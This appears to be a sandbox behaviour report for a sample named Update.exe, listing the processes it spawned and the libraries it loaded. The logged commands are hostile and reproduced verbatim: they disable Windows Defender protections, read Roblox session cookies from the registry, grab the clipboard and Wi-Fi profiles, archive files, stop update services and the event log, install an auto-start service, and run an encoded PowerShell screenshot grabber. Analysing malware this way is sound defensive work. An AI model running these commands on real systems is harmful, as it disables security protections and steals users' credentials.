UAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI68522\rar.exe a -r -hp"dextycraxscloud" "C:\Users\user\AppData\Local\Temp\dRGk3.zip" *" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: unknown unknown Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Update.exe' Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\bound.exe bound.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? ?.scr'
Source: C:\Users\user\AppData\Local\Temp\bound.exe Process created: C:\Users\user\AppData\Local\Temp\Build.exe "C:\Users\user\AppData\Local\Temp\Build.exe"
Source: C:\Users\user\AppData\Local\Temp\bound.exe Process created: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe "C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe"
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "JLDYOGXF"
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "JLDYOGXF" binpath= "C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe" start= "auto"
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "JLDYOGXF"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\yidhhzbx\yidhhzbx.cmdline"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8576.tmp" "c:\Users\user\AppData\Local\Temp\yidhhzbx\CSCA27ED749AA364CCD94BFD566BA81531.TMP"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Source: C:\Users\user\Desktop\Update.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Section loaded: python3.dll Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Section loaded: libffi-7.dll Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Section loaded: sqlite3.dll Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Section loaded: libcrypto-1_1.dll Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Section loaded: libssl-1_1.dll Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: apphelp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
